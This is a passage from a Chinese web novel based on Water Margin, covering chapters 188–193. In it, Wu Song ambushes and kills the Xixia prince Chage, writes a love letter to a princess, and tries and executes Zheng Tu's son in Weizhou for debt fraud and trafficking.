“你们都不吃,洒家寻二郎吃酒去。”
鲁智深抱着酒坛子找到武松,直接扒开泥封,说道:
“二郎,洒家与你吃酒。”
武松接了酒坛子,直接灌起来。
鲁智深哈哈笑道:
“还是师弟爽快,洒家这才痛快。”
两人对着喝了一坛酒,鲁智深又要再喝,武松却劝道:
“师兄慢饮,眼下还须回城再杀察哥,待杀了他,回到怀德军,我陪师兄痛饮。”
“也罢,只是我这肚里酒虫叫得慌。”
兵马休整完毕,武松下令放火,把整座静塞军司全部烧了。
此时已经到了下午时分,步军在前,马军在后。
武松和鲁智深、徐宁、杨志、扈三娘走在前面,戴宗先一步打探去了。
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张吉和卢俊义押着马军和缴获的战马随后,王妃梁瑶也在阵后押着。
兵马都监陈罡、曹光远紧紧跟着武松,唯恐落后。
原本他们两个都不相信武松,但是几场仗下来,武松逢战必胜。
特别是今日,奇袭静塞军司成功,活捉王妃。
这是大宋第一次杀入西夏境内,近乎没有任何伤亡。
到现在,两人都知道跟着武松就有功劳,所以紧紧跟随。
走到日落时分,戴宗匆匆跑回来,说察哥的先头骑兵就在前方五十里处。
武松大喜,下令步军在河谷两侧埋伏。
鲁智深、徐宁、曹正、施恩在左侧,武松和扈三娘、杨志在右侧。
卢俊义和张吉在后面堵住。
天色渐渐昏暗,河谷静悄悄。
南边。
察哥带领铁鹞子和擒生军跑在最前面。
得知武松偷袭静塞军司,察哥怒火中烧。
渭州城有兵马防守,百姓也被发动。
加上种师中带着一万多兵马回援,一时半会儿破不了城池。
还有,延安府那边还有一个种师道,此人擅长用兵。
如果种师中在渭州府死守,种师道发兵救援,武松再杀回来,他很可能会死。
所以,虽然心中不甘,察哥还是全速往回赶。
回援静塞军司的道路,他也选了葫芦河谷。
当在葫芦河谷发现数万兵马的足迹时,察哥感觉心里怒火更盛。
种师中没有讹诈,武松真的敢突袭静塞军司。
多少年了,从来只有西夏进攻宋国。
区区武松,竟敢杀入西夏境内,好大的狗胆!
察哥全速往回奔跑,希望能堵住武松,把武松消灭在静塞军司。
如此,就算静塞军司真被攻占,也能在皇帝那里邀功。
副将布雅跟在察哥身后,喊道:
“王爷,我们走官道吧,河谷狭窄,万一遭遇埋伏,我们施展不开!”
“宋军不足惧,武松若在河谷,我当杀之!”
察哥不顾战马疲惫,继续往前狂奔,身后铁鹞子和擒生军已经疲惫不堪。
昨日一早开始出发,从西安州赶赴渭州城。
到了渭州城下,听闻武松突袭静塞军司,全军立即往回赶。
步跋子已经跑不动了,落在后面,铁鹞子、擒生军有战马,即便如此,军队也很疲惫,战马跑**很多。
天色渐渐黑下来,天上冷月高挂,察哥借着月色往回奔跑。
很近了...静塞军司就快到了!
第189章 河谷伏击,阵斩察哥
杂乱的马蹄声回荡在河谷,战马呼气的声音非常粗重。
察哥知道自己的坐骑快到极限,但是没办法,静塞军司就在前面,很快...很快就到了!
突然,河谷响起一阵锣鼓。
两边射出一波乱箭,宋军从河岸两侧冲下来。
副将布雅大叫:
“不好,果然有埋伏!”
察哥吃了一惊,大骂道:
“贼武松!”
却见迎面杀来一人,不是武松又是何人!
“察哥,你老婆在我这里!”
武松疯狂大笑,提着双刀直奔察哥。
身边的亲卫连忙上前抵挡,扈三娘随后赶到,日月双刀**数人。
李二宝在背后放箭,连杀数人。
武松撞开人群,直奔察哥。
见武松袭来,察哥再也不敢狂妄,转身就跑。
鲁智深拖着禅杖,徒步从河岸冲下来,六十一斤的**禅杖抡起来,人马俱碎。
杨志提着宝刀,从高处跃下,连人带马劈开,当先杀入敌阵。
最前面的是铁鹞子,西夏最精锐的骑兵,此时人困马乏,又是河谷地形,根本无法摆开阵势,任凭宰割。
徐宁提着金**杀,施恩也换了**,见人就捅。
曹正用刀,杀得浑身是血。
陈罡、曹光远带着禁军围杀,厮杀的叫声回荡在河谷。
戴宗站在岸上,俯瞰整个战场。
时迁蹲在旁边,惊叹道:
“二郎立了好大个功劳。”
戴宗感慨道:
“二郎好胆魄,奇袭西夏军司,今夜再杀察哥,这一战可成就他大将的威名。”
禁军从河谷两侧围杀,有些铁鹞子拼死冲出重围,沿着河谷狼狈逃窜。
刚跑出不到数里,却见宋军骑兵正等着。
燕青见了,惋惜道:
“主人,这场大功却被师叔拿去了,只漏出这些敌兵。”
张吉笑道:
“下次由我们马军主攻,也拿个大功劳。”
卢俊义笑道:
“张总管所言有理。”
宋朝骑兵把冲出来的铁鹞子全杀了。
河谷前方,武松提着刀寻找察哥。
河谷内极其混乱,武松挥刀杀出一条血路,追了许久,终于望见在月光下奔逃的察哥。
“察哥,哪里走!”
听到武松的声音,察哥像受了惊吓的狗子,慌忙跳下战马,混入乱军之中。
河谷内人马太多,武松也舍弃战马,提刀徒步撞破人群,追上察哥,举刀劈去。
察哥惊慌转头,刚好被切开半边脸颊,惨叫倒地。
武松上前心窝一刀,戳个血窟窿,察哥当场死透。
战斗持续了半个时辰,杀了两万多西夏士兵,其余投降。
战场很快打扫完毕,鲁智深走过来,武松踢了一脚察哥的尸体。
“这厮要走,被乱刀**了。”
鲁智深看着察哥被剁掉一半的脸,笑道:
“却被二郎抢了先。”
武松吩咐把尸体装起来,送回京师。
张吉、卢俊义赶过来,见了察哥的尸体,笑道:
“这厮在京师的时候,何其张狂,如今终究是**。”
武松看向卢俊义,说道:
“西夏的铁鹞子、擒生军在前头,步跋子还在后头。”
“这一次,请师兄出手,灭了步跋子。”
卢俊义大喜道:
“正要立个功劳。”
张吉大喜道:
“这功劳二郎莫要与我们争了。”
点了骑兵,张吉、卢俊义沿着河谷快速往南。
杨志翻身上马,鲁智深问道:
“你干甚去?”
“洒家也是马军都钤辖,我也去。”
说罢,杨志带着本部马军往南去了。
“将战马、俘虏押解回去。”
武松下令,步兵继续沿着河谷往南走。
伏击战全胜,宋军士气大振,没有人感觉疲惫,甚至要求再追杀步跋子。
陈罡跑到武松前面,叫道:
“武宣抚,末将请求再追杀!”
曹光远很叫道:
“末将请求出战!”
武松无奈道:
“行了,步军已经立功了,给马军点功劳。”
陈罡、曹光远无奈,只得回去安抚步军。
南边。
西夏步跋子拖着疲惫的步伐往前奔跑,腿像灌了铅一样。
步兵和骑兵长途奔袭的时候,耐力和速度差距很明显。
河谷北面突然传来马蹄声,步跋子都统马春雨警觉地大喊:
“迎战!”
步跋子纷纷拔刀,却见一队骑兵从河谷冲过来,为首是两员战将。
马春雨见到大宋骑兵的时候,知道大势已去。
静塞军司没了,铁鹞子、擒生军没了,甚至晋王察哥也没了。
卢俊义、杨志冲在前面,燕青随后,大宋骑兵冲过来,瞬间冲破西夏步跋子,剩下就是**。
河谷地形并不利于骑兵作战,但西夏步跋子疲惫至极、士气全无,连都统马春雨也认命了。
战斗只持续了不到半个时辰,杀了两千多人后,剩下的全部投降。
这些步跋子经历数百里行军,连逃跑的力气都没有了。
武松抵达的时候,战斗已经结束。
张吉喜道:
“俘虏步跋子两万有余,此战足以雪耻!”
兵马都监陈罡说道:
“去年,我军大败,刘法将军**。”
“今日杀了西夏晋王,破了静塞军司,灭敌五万,足够了。”
武松却摇头道:
“去年我大宋损兵十万,如今才五万而已,不够。”
“回去吧。”
大军缓缓往南,军队没有疲惫之色,反而唱起了歌。
等到第二天中午,回到怀德军营寨附近时,赵楷、种
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师中带着兵马过来接应。
见到两万多俘虏,赵楷和种师中全都震惊了...
“二郎,你真破了静塞军司?”
赵楷震惊,种师中看向后面,问陈罡道:
“陈都监,你们...你们把察哥的精锐都杀了?”
“回种经略,察哥**了,他的五万兵马要么杀了、要么投降,都在这里!”
种师中和经略府的一众将领全部震惊到无语。
察哥最精锐的五万兵马,全没了?
武松回头招招手,李二宝把察哥的王妃梁瑶拖出来。
“这是在静塞军司抓到的,晋王妃梁瑶。”
“你把她送回京师,交给圣上。”
“上次察哥那厮侮辱圣上,正好把他老婆送回去做奴婢!”
赵楷看着晋王妃,居然不知道该说什么。
何正复轻快一笑道:
“早知二郎要胜的。”
种师中问道:
“武宣抚,察哥**了?”
“死在了乱军中,可惜了,本想手刃他。”
尸体抬出来,察哥的脸被劈开了,样子凄惨。
种师中感慨道:
“这是一场大胜啊,静塞军司被破,察哥已死,仁多洗忠必然丧胆,可顺势收复西安州。”
武松回头看向众将,说道:
“我等已经疲惫,劳烦种经略带兵收复。”
“领命!”
这是种师中第一次说领命。
虽然武松是宣抚副使,但在渭州府这片地方,他只是个新兵蛋子,大家心里都不服。
经过这一战,种师中服了,其他将士也服了。
武松年轻,但武松是个天才!
“我也去!”
赵楷自告奋勇,武松问道:
“你的病好了?”
“好了。”
“那你随种经略同去,我便不去了。”
武松带领大军入城,赵楷、种师中带领两万厢军往北进攻西安州。
到了军寨内,何运贞马上起草奏章捷报。
书写完毕,盖了宣抚使的章子,不给赵楷过目,直接发往京师。
同时安排了人手,把察哥的尸体、王妃梁瑶,一起送往京师报捷。
...
西安州内。
仁多洗忠坐镇帅府,心里突然非常不安,总觉得要出事。
察哥的计划太过冒险,万一被夹击,会很麻烦。
如果察哥被堵在渭州城,仁多洗忠打算进攻怀德军,再往南救援察哥。
信使从外面回来,禀道:
“统军,怀德军营寨空虚,所有兵马都走了。”
“嗯...武松果然出动了。”
事情正在按照察哥的预料发展...察哥如果杀了武松,那我该如何立功?
六盘山一战,仁多洗忠吃了大亏。
心里想着必须挽回一下...
“传令!随我出城,攻占怀德军、镇戎军!”
第190章 公主情书,调动兵马
反正怀德军、镇戎军都空虚,只要出兵就能攻占。
到时候也算一大功劳,可以向皇帝交代。
想好了,仁多洗忠披挂好,准备出发。
就在此时,手下慌慌张张跑进来禀报:
“都统,副将回来了...”
“布雅?回来了?这么快?”
仁多洗忠以为察哥就干掉了武松。
走出营房,却见副将布雅浑身带血,孤身一人回来。
“怎的这副模样?晋王呢?”
仁多洗忠吃了一惊,布雅疲惫至极,说道:
“快撤,回西寿保泰军司。”
“晋王呢?”
仁多洗忠还在追问,布雅说道:
“**。”
“**?怎会**?”
五万精锐出动,武松只有四万兵马,禁军也就两万多。
如此优势兵力,察哥居然战**?
“发生了甚么?”
布雅轰的一下倒在地上,昏死过去。
直到这时,仁多洗忠才想起要救人。
“快,抬进去,救人!”
布雅被抬进去救治,斥候匆匆跑回来,喊道:
“都统,宋军来了!”
仁多洗忠呆愣了一会儿,说道:
“晋王**,败了...不可能啊。”
手下将领说道:
“都统,应该是晋王被里外合击,只有布雅将军一个逃回来。”
“我们撤吧,回西寿保泰军司。”
反正察哥战死,主力军没有了,这时候撤退不算他的过错。
“撤!”
仁多洗忠下令,西夏军队匆匆忙忙撤离安州。
种师中带着厢军入城的时候,西夏军队已经全部跑了。
种师中下令接管城池,同时加固防御,防止西夏偷袭。
...
怀德军营寨。
全军回营后,全部休整一天。
到了第二天,武松起来,拿出纸笔写信:
心爱的公主殿下:
见字如面。
我抵达渭州府已经有些时日,今日才给你写信,只因战事紧急。
初到邠州府时,种师中被围六盘山,我带兵破围。
昨日我领兵突袭西夏静塞军司,阵斩西夏晋王察哥。
那厮曾辱骂你,我恨之入骨,如今终于解恨。
我得到了一颗宝石项链,随信一同送达,希望你能戴在身上,便如我陪伴你一般。
离别已然41日,我日夜思念你。
想你的武松。
把信折叠好,放入匣子,又把宝石项链放入,然后密封。
这个宝石项链是从晋王妃梁瑶哪里得来的,武松偷偷藏起来。
如果被扈三娘看到,肯定又要吃醋,说什么公主有她没有之类的。
武松找了个信使,嘱咐他务必送到赵福金手里。
信使马上离开怀德军,快速往京师赶路。
给赵福金写完情书,武松又给潘金莲写了一封家书。
以前需要花钱请人送信,现在可以派军队里的人专门送信。
公权私用就是爽!
信使离开,武松从房间里出来,军寨内一片欢腾。
刚刚打了胜仗,缴获了很多东西,大家都很开心。
燕青正在后面的营地挑选战马,武松让他选出好的马匹来,组建一支西夏铁鹞子那样的骑兵。
当初在京师的时候,找辽国贩子买马,到现在也没有消息。
好在这次缴获多,可以挑选出好的。
武松从房间里出来,将士纷纷行礼:
“拜见宣抚副使。”
“拜见武宣抚。”
到现在,所有人心悦诚服。
赵楷走过来,说种师中重新占据了西安州,仁多洗忠逃回了西寿保泰军司。
这个结果一点不意外。
察哥阵亡,仁多洗忠只有两万多兵马,肯定不敢据守西安州。
“这次打了大胜仗,但是更大的仗就在眼前。”
“我也如此想,察哥阵亡,前后损兵七万多,西夏必定倾巢而动。”
“明日全军前往西安州,再征调延安府的兵马,于西安州会齐。”
“好,我这就给延安府下令。”
赵楷回房,让何运贞起草调令文书,火速送往延安府。
渭州府和延安府是对抗西夏的两大军镇。
渭州府由种师中镇守,延安府则由种师道镇守。
种师中是弟弟、种师道是哥哥。
原来,延安府由种谔镇守,前些年种谔**,由种师道接手。
种谔在的时候,称呼其为“老种经略相公”。
种师道接管后,因为渭州府的种师中是弟弟,种师道是哥哥,大家顺口便称呼种师道为“老种经略相公”。
鲁智深原本是延安府的兵,后来派遣到渭州府。
所以,鲁智深当年打死郑屠后,知州告状,种师中才说:
鲁达这人,原是我父亲老经略处军官。
延安府的兵马比渭州府多,差不多有十万。
把那里的兵马调集到西安州,可以和西夏好好打一仗。
徐宁和施恩走过来,武松叫住
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徐宁,说道:
“原本说要看西夏的铁鹞子,如今这里有些活口,你让他们演练铁鹞子,看看你家钩镰枪法是否能用。”
徐宁恍然道:
“是了,既然捉了铁鹞子,何不让他们演练。”
“我便去。”
施恩说道:“哥哥,我随徐教师去。”
两人一起往俘虏营挑选,研究怎么对付铁鹞子。
今日吹南风,天气有些燥热,鲁智深只穿了一件直裰出来,看起来有些焦躁。
“干鸟么,往常二娘在时,好酒好肉每日不离口。”
“如今二娘去了,饿得干瘪了,口里淡出鸟来。”
武松笑道:
“营中自有酒食,师兄吃几碗解馋。”
鲁智深嘿嘿笑道:
“自古道,有酒无肉怎做道场。”
“干吃那些酒,实在无味。”
“洒家记得渭州府有一处酒楼,那肥切的羊肉爽口,师弟与我去吃几碗来。”
凌振在渭州城制造火器,武松也想看看进度怎样了。
正好西夏那边还没有开始进攻,怀德军这边又在集结兵马。
正好趁着这个空闲,到渭州府看看。
当即,武松换了衣服,问了其他人去不去。
扈三娘肯定跟着,卢俊义和张吉操练马军,都不肯去。
徐宁、施恩看铁鹞子操练,曹正在后面杀猪宰羊庆祝,不得闲。
戴宗、时迁倒是有空,跟着武松一块儿去。
和赵楷说了一声,武松带着几个人离开怀德军营寨,往渭州城去。
...
西寿保泰军司营寨里。
仁多洗忠坐在厅上,脸色凝重。
副将布雅已经醒了,仔细说了察哥兵败的经过,又说静塞军司被攻破。
仁多洗忠大吃一惊,连忙派人去打探,回来说军寨已经被烧了,王妃梁瑶被捉走。
仁多洗忠感觉天都塌了。
“你们以为该如何?”
仁多洗忠昏头昏脑,其他将领说道:
“晋王阵亡,王妃被捉,这等大事,须禀报兀卒。”
兀卒就是皇帝的意思。
西夏以前是大唐的故土,后来五代十国割据,逐渐被党项人占领。
建立西夏后,国内推行去汉化,唐朝时期的番号用语被党项语替代。
皇帝也用“兀卒”称呼。
仁多洗忠吩咐文官:
“你写奏报,送到兴庆府,禀报兀卒。”
文官马上起草文书,仁多洗忠看完后,火速派人送往兴庆府。
第191章 鲁智深重回渭州,郑屠老婆告状
渭州城是与西夏对峙的后方军镇,里面长期屯驻军队。
前方军队需要的生活物资也从这里周转调拨。
十几万军队的用度,带动了城内的买卖,里面人口很多,酒楼赌坊妓院更多。
都是当兵的,拿了饷银,除了吃喝就是嫖赌。
骑马进入渭州城,鲁智深看着城内的景致,哈哈笑道:
“倒也未曾有变动,且跟洒家来。”
鲁智深带着众人到了一处酒楼停下,马在门口柱子拴了。
武松抬头看了一眼,只见招旗上写着:
潘家酒楼。
跟着上了二楼,捡了个济楚阁儿里坐下,鲁智深岔开腿环顾四周,语气颇为怀念:
“洒家曾在这阁儿与史大郎吃酒,便是在这里遇到了那金家父女,看她们委屈,三拳打**郑屠。”
正说着,酒保走进来,见有个和尚,其他人又是公人打扮,问道:
“尊客要酒么?”
鲁智深一把揪住酒保,哈哈笑道:
“你这厮好没眼色,不认得洒家?”
酒保定睛一看,却是吓了一跳,大喊道:
“打死郑屠的鲁达在此!”
这一声喊,把门外的客人惊到了。
鲁智深不喜,啐道:
“你这厮还在聒噪,洒家已经得了圣上的赦令,如今是步军都钤辖。”
“经略相公见了洒家也需客气几分,打死郑屠甚么要紧!”
酒保不知深浅,暗暗叫苦。
武松笑道:
“师兄莫要唬他,且松了手。”
鲁智深推了一把,酒保摔在地上,匆匆忙忙跑了。
“噫?这厮不与洒家筛酒,怎的走了?”
武松对李二宝说道:
“你去柜台买酒饭过来,莫要吓到店家。”
“晓得。”
李二宝起身出去买酒还未回来,就看见几个府衙的公人进来。
为首是渭州府衙门的都头谢运。
都头谢运与鲁智深相识,进门见了鲁智深,叫苦道:
“提辖既然剃度出家,怎的又来这酒楼?”
“如今酒保报了官,只得捉你回去。”
鲁智深大笑道:
“原来是谢都头,且坐在一起吃碗酒。”
谢运无奈道:
“不是小弟不仗义,提辖打死郑屠的官司还在,他家老婆还来府衙问哩。”
“问个鸟!洒家如今得了圣上的赦令,做了步军都钤辖,在怀德军见过了经略相公。”
谢运和其他公人吃了一惊,急切间不敢相信。
武松笑道:
“都头且坐下说话。”
谢运这时才看向武松和其他人,好奇都是甚么人。
“敢问诸位大哥甚么人?和提辖甚么交情?”
时迁指着武松笑道:
“你这都头好没眼力,不知渭州府来了宣抚使么?”
“这位便是状元郎、宣抚副使、步军都总管武松!”
谢运早听说了,只是一直未曾见过。
听了时迁的话,大吃了一惊,赶忙起身唱喏:
“小的有眼不识泰山,未曾认出武宣抚,恕罪、恕罪。”
鲁智深一把将谢运扯住,落在条凳坐下:
“你礼数倒是多,且坐下陪洒家吃酒。”
“提辖..都钤辖抬举,小弟怎敢不从。”
李二宝要了酒饭过来,肥切的羊肉摆了一桌。
谢运让公人知会店家,且说鲁智深已经得了官家赦令,不是逃犯,如今是都钤辖。
酒保和店家听了,十分惊奇。
谢运殷勤倒酒,鲁智深先喝了三碗,又夹了一把肥羊肉,吃得满嘴肥油。
“便是这潘家酒楼的肥羊肉,洒家最好这口。”
扈三娘拿起筷子,递给武松,两人坐在一起。
戴宗和时迁坐在一起,鲁智深和谢运坐一起,李二宝单坐。
“都钤辖当日打死郑屠,渭州府的百姓都说好哩。”
“好个鸟,各处州府都要捉拿洒家,好在那金家父女是个有良心的,送洒家上了五台山做了和尚。”
鲁智深灌了一碗酒,继续说道:
“叵耐那寺里的日子清苦,不许饮酒、不许吃肉,洒家不耐烦,闹了两场,被他们赶出寺庙,打发洒家到大相国寺。”
“后来,洒家结识了....”
武松端起酒碗,说道:
“弃我去者,昨日之日不可留,都是陈年往事,提他作甚。”
鲁智深猛然想起,自己和林冲的事情最好不提及,便不再说。
众人好好吃了一回酒,鲁智深把那肥羊肉吃了个肚皮圆滚,方才心满意足。
算了酒饭钱,武松和鲁智深从潘家酒楼出来。
店家和酒保陪着笑脸送出门外,却见一伙人把鲁智深堵住了:
“便是这鲁达,杀了我家大官人!”
“请巡检相公捉拿鲁达,为我家大官人伸冤。”
为
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首一个男子,正是渭州府的巡检使尉迟昭。
见到鲁智深,尉迟昭呵斥道:
“好个鲁达,以为做了和尚,便不认得你!”
“左右与我拿下这厮!”
十几个兵丁上前就要捉拿鲁智深,都头谢运赶忙说道:
“巡检相公且住手,他如今得了官家赦令,做了步军都钤辖,经略相公也给薄面。”
尉迟昭吃了一惊,赶忙对着鲁智深作揖道:
“听闻经略府有人做了都钤辖,莫非就是哥哥?”
鲁智深指着尉迟昭骂道:
“你这厮好生势利,洒家最不喜你这等人。”
“如今洒家得了赦令,做了步军都钤辖,你待怎样!”
尉迟昭赶忙赔礼,鲁智深却看向郑屠老婆,骂道:
“你老公郑屠虚钱实契欺压金家父女,强行纳为妾室,却又被你赶出家门!”
“你也是个恶毒的妇人,若非看你妇人面上,洒家也一拳打死你!”
郑屠老婆吓得不敢言语。
尉迟昭挥手,把郑屠老婆赶走。
“哥哥回了渭州城,小弟请哥哥吃杯酒。”
“谁耐烦吃你的酒!不看旧日情面,你也该打!”
鲁智深撞开尉迟昭,大踏步往经略府去。
武松摇头笑了笑,带着扈三娘几个一同往经略府走。
一路上,鲁智深这看看、那瞧瞧,看啥都高兴。
偶尔见了熟人,还要说上几句。
只是这些熟人都以为鲁智深还是逃犯,免不了又要解释几句。
扈三娘是个女孩子,喜欢和武松逛街,路上买了不少东西。
走到状元桥时,却见沿街开着两间门面,前方摆着两副肉案,悬挂着几片猪肉。
一个膀大腰圆的男子在门前柜身内坐定,看那十来个刀手卖肉。
鲁智深见了,惊疑道:
“这不是郑屠那厮,他没死?”
武松见这男子年轻,说道:
“莫非是郑屠的儿子?”
“不错,那厮娶了许多小妾,该是有儿子的。”
父辈的事情和子孙无干,鲁智深不理会,正要离开,却见几个喽啰拖着一对母子进了肉铺。
那男子起身进了屋内,便听到哭声。
鲁智深睁了一对圆眼,怒道:
“洒家正说不找他晦气,这厮却又在欺负良善!”
鲁智深撸起袖子,大踏步冲向肉铺。
武松带着人跟上。
第192章 郑屠儿子,武松审案
鲁智深大踏步冲进肉铺,门口的刀手见有人闯入,提着剔骨尖刀围过来。
李二宝掣出腰间刀,呵斥道:
“宣抚使做事,站着!”
刀手听了这话,都不敢动弹。
武松抬脚进入屋内,却见鲁智深走到了男子跟前,指着男子喝骂道:
“你这厮可是郑屠的儿子?”
男子吃了一惊,问道:
“大师哪里人,为何认得我父亲?”
“果然是郑屠的种,我且问个明白,也不白杀了你!”
说罢,鲁智深转头看向坐在地上的母子,说道:
“你们莫怕,洒家是步军都钤辖,原是经略府里的提辖,唤作鲁达的便是。”
听了鲁达两个字,男子惊得面如土色,大叫道:
“原来是你这**的贼!拿刀来!”
手下喽啰连忙拿出刀刃,男子也从墙上拿了刀出来。
扈三娘秀眉一挑,抬脚把男子踢飞,拔出腰间日月双刀,骂道:
“敢动刀,你有几颗脑袋!”
李二宝提刀指着几个喽啰,骂道:
“可知面前是哪位相公?也敢动刀!”
喽啰惊疑不定,鲁智深却不理会,继续说道:
“他老子镇关西便是洒家打死的,只因他老子欺男霸女。”
“你们母子且说自己的冤屈,洒家与你们做主。”
听了这话,妇人哭诉道:
“奴家本庆州人士,随丈夫在渭州城做饮食。”
“平日里从他铺子买肉做馄饨,银钱都是现结的。”
“前阵子奴家丈夫得病**,这郑屠得知,便说奴家丈夫欠他五十两银子,要奴家还。”
“奴家做小本买卖,哪来五十两银子与他。”
“郑屠便要将奴家卖了做**,把我儿子也卖了。”
听到这里,鲁智深哪里还忍得住,回身揪住男子发髻,抬手便打了两个耳刮子,啐道:
“你老子欺压男女,被洒家打**,你须知道厉害!”
“你这厮却不做良善,还要做这等恶事!”
“洒家今日也把你打死,好让这渭州城再也没有郑屠!”
鲁智深就要把男子打死,武松拦住,劝道:
“师兄,如今你是都钤辖,岂可再**命。”
“怎的,莫非看着他欺男霸女?”
“我是宣抚副使,这渭州城的事情我也管得,且把这些恶徒,连带郑屠的老婆,一起押到知州府衙审讯。”
戴宗也上来劝说,如今不是草莽英雄,不能乱用私刑。
鲁智深只是性子躁,并非不讲道理的。
松开男子的发髻,武松让李二宝去知州府衙叫人。
很快,都头谢运带着人过来了。
鲁智深劈面骂道:
“你这厮做得好都头,洒家打死一个镇关西,又来一个恶霸!”
谢运无奈道:
“都钤辖知道小弟不是这等人,这郑贵有人护着他...”
“哪个直娘贼护着他?”
谢运不敢说...
武松劝道:
“师兄莫问他,且把人都抓了,押到知州衙门,我自审问他们。”
谢运把郑屠和喽啰、刀手全都抓了,又把镇关西的老婆一起绑了。
扈三娘扶着母子两人跟着一起到知州府衙。
进了府衙,武松当堂坐下,知州孔道辅匆匆忙忙带着一众官僚出来拜见。
“下官孔道辅,不知武宣抚大驾,请恕罪。”
武松抬手道:
“你且坐下,我来审案子。”
孔道辅看了一眼郑屠儿子和郑屠老婆,心中已有猜测。
再看坐在对面的鲁智深,知州孔道辅吃了一惊,他还不知道鲁智深的事情。
啪!
武松一排惊堂木,呵斥道:
“堂下跪着的是谁?”
妇人先抬头喊冤:
“回大人的话,奴家庆州人士,唤作李艳娘,与丈夫刘棠在狮子街开馄饨铺子。”
“平时用的精肉,都从郑屠那里购买,现钱结清。”
“前些日子,奴家丈夫**,郑屠说丈夫欠他五十两银子,要奴家还清。”
“奴家没有银子与他,便要把奴家捉了卖到青楼,把奴家的儿子也卖了。”
“求大人为奴家做主!”
门口挤了不少人,有些人认得鲁智深,都在议论。
武松听了,目光看向郑屠儿子,问道:
“你是何人,有何话说?”
男子惊恐地抬头,正好遇到鲁智深的目光,吓得身体一哆嗦。
“小的郑天寿,在状元桥下卖肉的。”
“这刘棠夫妻两个确实欠了小人银子,他们买肉赊账,小的有凭据。”
武松微微颔首道:
“既有凭据,那便把凭据拿来。”
郑天寿吩咐喽啰回去拿凭据。
很快,凭据拿过来了,送到武松手里。
武松
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看过后,再看向妇人,问道:
“郑天寿手里有你丈夫的赊账凭据,你如何说?”
妇人哭诉道:
“渭州城谁人不知,郑屠的肉岂有赊欠的。”
“奴家丈夫买肉,都是付的现钱。”
武松看向卖肉的刀手,问道:
“你们是卖肉的,她丈夫可有赊欠?”
武松身体前倾,说道:
“我是宣抚副使,官家派我到这里,这知州、经略相公,都要听从我的号令!”
“你们若是说半句假话,先打一百脊棍,刺配三千里!”
这些喽啰平日里欺软怕硬,见到衙门的人,更是先怕三分。
听说武松是这么大的官儿,当即吓到了。
“主人家卖肉,从不赊欠,这刘棠从未欠他。”
听了伙计的供词,鲁智深早已按捺不住,起身骂道:
“好个腌臜泼才,你老子不仁不义,你也是个杀头的!”
眼看鲁智深就要动手,戴宗、时迁两人赶紧抱住。
啪!
武松一拍惊堂木,骂道:
“好个郑天寿,竟敢伪造凭据,欺骗本官!”
“你岂不知国法森严,逼良为娼判绞刑、拐卖儿童罪加一等!”
“今日本官判你斩立决!”
郑天寿吓得面无人色,大叫道:
“大人饶命,小的知错了,求大人开恩!”
门口的百姓听武松判了郑天寿斩立决,纷纷叫好。
这厮平日里欺压邻里多了,百姓奈何不了他,一直忍着。
郑屠老婆听了,大叫道:
“我官人已被鲁达打死,我就这一个儿子,求大人开恩。”
武松不理会郑屠老婆,看向郑天寿,问道:
“要我饶你,你且说仗了谁的势力?敢在渭州城胡作非为!”
“巡检使尉迟昭,我每月送银子与他。”
站在旁边的巡检使尉迟昭赶忙跪下磕头:
“大人明鉴,这郑天寿胡言乱语,下官从未收他银子。”
武松冷笑,看向郑天寿,问道:
“你说送银子与他,可有凭据?”
“有,我上月便送了100两银子,他外宅生辰,我又送了一对上好的玉镯子,就在青瓦街。”
武松看向巡检使尉迟昭,冷冷笑道:
“你还有何话说?”
尉迟昭跪在地上,磕头喊道:
“大人恕罪,小的一时糊涂!”
第193章 判斩立决,百姓告状
武松没有理会巡检使尉迟昭,而是看向一旁的知州孔道辅。
“孔知州,你的下属如此胡作非为,你不知晓?”
“此事问起来,你有个治下不严之罪。”
知州孔道辅吃了一惊,慌忙起身拜道:
“武宣抚,尉迟昭欺瞒下官,所以不知晓。”
孔道辅转身指着尉迟昭骂道:
“你这厮身为朝廷命官,也是读过书、中过举人的,竟然如此做出这等无行的事情!”
尉迟昭慌了,说道:
“是郑天寿自己送与我的,并非我要他的。”
郑天寿不想死,大喊道:
“分明是你向我索取,渭州城做买卖的,哪个不给你送钱。”
“那青楼、赌坊,每月的例银便有万把银子。”
孔道辅听了都感觉震惊,每个月的例银就有上万。
他这个知州也捞不到这么多银子。
“你这厮,平日里见你道貌岸然,背地里居然这等为不法!”
“武宣抚,尉迟昭这厮着实可恨,请将他扭送大理寺处置!”
尉迟昭大叫求饶,武松一拍惊堂木,呵斥道:
“好你个尉迟昭,身为巡检使,知法犯法、为非作歹!”
“把尉迟昭的纱帽、官服扒了,解送京师大理寺!”
知州孔道辅连忙指挥衙役把尉迟昭扒了,当场绑了。
武松又看向郑天寿,骂道:
“你老子镇关西在时,便横行渭州城,被鲁将军打死。”
“你这厮不思改过行善,反倒变本加厉、为非作歹!”
“依照大宋律法,你逼良为娼、拐卖儿童,本官判你斩立决!”
郑天寿大叫道:
“我不服,你与鲁达是兄弟,故意加害我!”
武松骂道:
“放屁!”
“《宋刑统.贼盗律》明文:拐卖良民为娼妓,判绞刑;略卖小儿,罪加一等,判**!”
武松并没有打击报复,而是按照大宋律法判刑。
在古代,对于逼良为娼判的很重,不像现代社会那样。
对于拐卖儿童也是,古代抓到人贩子,基本就是**。
两罪并罚,判处郑天寿**,合情合理合法!
门外的百姓听了,大声叫好:
“这郑屠太可恶了,淫辱了多少良家女子。”
“前街卖豆腐的女儿,便是被他奸了。”
“还有那轿夫的娘子,当街被他剥了衣裳,都是尉迟昭护着。”
百姓不断数落郑天寿的恶行,武松听到,对着门口百姓说道:
“诸位,我是朝廷的状元,也是官家派来渭州城的。”
“你们往日受了郑屠的欺负,都可进来状告。”
衙役放开大门,百姓涌进来,七嘴八舌告状。
武松让主簿过来记录,把郑天寿所有罪过全部记下,到时候呈递给刑部。
告状足足持续了两个时辰,卷宗写了厚厚五卷,主簿的手腕都要断了。
指着厚厚的卷宗,武松骂道:
“罄竹难书啊,你这厮不杀,不足以平民愤!”
“来人,把他拖出去斩立决!”
鲁智深早就憋不住了,起身揪住郑天寿的发髻,拖到门口,抽出衙役腰间的刀,直接剁了人头。
周围百姓一片叫好!
鲁智深出了一口恶气,爽快地坐下来喝茶。
武松再看向郑屠老婆,骂道:
“你这**,郑屠在时,你便欺辱金家父女。”
“郑屠**,你不思悔改,反教唆你儿子胡作非为!”
“按照大宋律法,你是从犯!”
“来人,先打五十脊杖,刺配沧州牢城!”
衙役知道武松下了杀心,哪里敢留手,脊杖结结实实打下去,郑屠老婆撑不住,昏死过去。
“大人,郑屠老婆昏**...”
衙役停下来,武松冷笑道:
